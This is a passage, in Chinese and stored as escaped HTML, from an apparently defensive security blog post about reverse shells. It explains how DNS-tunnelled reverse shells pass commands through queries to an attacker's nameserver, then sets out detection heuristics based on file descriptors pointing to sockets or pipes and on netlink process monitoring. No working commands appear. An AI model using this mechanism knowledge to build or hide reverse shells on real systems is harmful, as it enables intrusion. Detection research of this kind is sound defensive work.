client\u4eceudp53\u63a5\u6536\u5230dns\u5305\u540e\u8fdb\u884c\u89e3\u6790\uff0c\u4ece\u4e2d\u63d0\u53d6\u5e76\u89e3\u7801\u5f97\u5230\u6307\u4ee4\uff0c\u5e76\u5c06\u6267\u884c\u7ed3\u679c\u5c01\u88c5\u6210dns\u5305\u683c\u5f0f\uff0c\u901a\u8fc7udp53\u8fd4\u56de\u7ed9server<\/li>\n<\/ul>\n<\/li>\n<li>dns\uff08authoritative DNS server\u8f6c\u53d1\u6a21\u5f0f\uff09\n<ul>\n<li>victim client\u914d\u7f6e\u597ddns resolve\uff08domain  nameserver\uff09\uff0c\u4e4b\u540e\u5c06\u6240\u6709\u7684\u6267\u884c\u7ed3\u679c\u548c\u6307\u4ee4\u8bf7\u6c42\u90fd\u4ee5\u6b63\u5e38dns query\u7684\u5f62\u5f0f\u53d1\u9001\u7ed9local DNS  server\uff0c\u968f\u540e\u901a\u8fc7dns\u9012\u5f52\u67e5\u8be2\u6700\u7ec8\u4f1a\u53d1\u9001\u5230\u653b\u51fb\u8005\u63a7\u5236\u7684domain nameserver\u4e0a<\/li>\n<li>control server\u4ecedns query\u4e2d\u8fc7\u6ee4\u51fa\u53cd\u5f39shell\u76f8\u5173\u7684\u4f1a\u8bdd\u901a\u4fe1\uff0c\u5e76\u6309\u7167dns response\u7684\u5f62\u5f0f\u8fd4\u56de\u4e3b\u63a7\u6307\u4ee4\u3002 <\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h2>\u53cd\u5f39Shell\u68c0\u6d4b\u601d\u8def<\/h2>\n<h2>\u8fdb\u7a0b file descriptor \u5f02\u5e38\u68c0\u6d4b<\/h2>\n<h4>1. \u68c0\u6d4b file descriptor \u662f\u5426\u6307\u5411\u4e00\u4e2asocket<\/h4>\n<p>\u4ee5\u201c\u91cd\u5b9a\u5411\u7b26\u201d+&quot;\/dev\/tcp\u7f51\u7edc\u901a\u4fe1&quot;Bash\u53cd\u5f39Shell\u8fd9\u4e00\u7c7b\u6700\u7ecf\u5178\u7684\u53cd\u5f39Shell\u653b\u51fb\u65b9\u5f0f\u4e3a\u4f8b\uff0c\u8fd9\u7c7b\u53cd\u5f39shell\u7684\u672c\u8d28\u53ef\u4ee5\u5f52\u7eb3\u4e3a<strong>file descriptor\u7684\u91cd\u5b9a\u5411\u5230\u4e00\u4e2asocket\u53e5\u67c4<\/strong>\u3002<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/Kp\/image-20231013185440387.png\" alt=\"image-20231013185440387\" \/><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/Kp\/image-20231013185520838.png\" alt=\"image-20231013185520838\" \/><\/p>\n<h4>2. \u68c0\u6d4b file descriptor \u662f\u5426\u6307\u5411\u4e00\u4e2a\u7ba1\u9053\u7b26\uff08pipe\uff09<\/h4>\n<p>\u5bf9\u4e8e\u5229\u7528\u201c\u7ba1\u9053\u7b26\u201d\u4f20\u9012\u6307\u4ee4\u7684\u53cd\u5f39shell\u653b\u51fb\u65b9\u5f0f\u6765\u8bf4\uff0c\u8fd9\u7c7b\u53cd\u5f39shell\u7684\u672c\u8d28\u53ef\u4ee5\u5f52\u7eb3\u4e3a<strong>file descriptor\u7684\u91cd\u5b9a\u5411\u5230\u4e00\u4e2apipe\u53e5\u67c4<\/strong>\u3002<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/Kp\/532548-20191215105358151-246000034.png\" alt=\"img\" \/><\/p>\n<p>\u66f4\u8fdb\u4e00\u6b65\u5730\u8bf4\uff0c\u4e0d\u7ba1\u505a\u4e86\u591a\u5c11\u5c42\u7684pipe\uff0c\u53cd\u5f39shell\u7684\u672c\u8d28\u662f\u5c06server\u7684\u8f93\u5165\u4f20\u9012\u7ed9client\u7684bash\uff0c\u56e0\u6b64\u80af\u5b9a\u5b58\u5728socket\u8fde\u63a5\u3002<\/p>\n<p>\u6211\u4eec\u53ea\u9700\u8981\u6839\u636epid\u8ffd\u6eafpipe\u4e0a\u6e38\u7684\u8fdb\u7a0b\uff0c\u5e76\u5224\u65ad\u5176\u8fdb\u7a0bfd\uff0c\u68c0\u67e5\u662f\u5426\u662f\u6765\u81ea\u4e00\u4e2asocket\u3002<\/p>\n<p>\u4f8b\u5982\uff0c\u8ddf\u8e2apipe\uff0c\u53d1\u73b0pipe\u7684\u8fdb\u7a0b\u5efa\u7acb\u4e86socket\u8fde\u63a5\uff0c\u90a3\u4e48\u5c31\u5b58\u5728\u53cd\u5f39shell\u7684\u98ce\u9669\u3002 <\/p>\n<h3>netlink\u76d1\u63a7+fd\u5f02\u5e38\u68c0\u6d4b<\/h3>\n<ul>\n<li>\u76d1\u542cNetlink Socket\uff0c\u5b9e\u65f6\u83b7\u53d6\u8fdb\u7a0bEXEC\u4e8b\u4ef6\u3002<\/li>\n<li>\u5982\u679c\u4e3aShell\u8fdb\u7a0b\uff0c\u68c0\u67e5\u8fdb\u7a0b\u542f\u52a8\u6253\u5f00\u7684FD\uff0c\n<ul>\n<li>\u6253\u5f00\u4e86Socket<\/li>\n<li>\u672a\u4f7f\u7528\/dev\/tty\u3001\/dev\/pts\/n\u3001\/dev\/ptmx\u7b49\u7ec8\u7aef<\/li>\n<li>\u5219\u786e\u8ba4\u4e3a\u53cd\u5f39Shell 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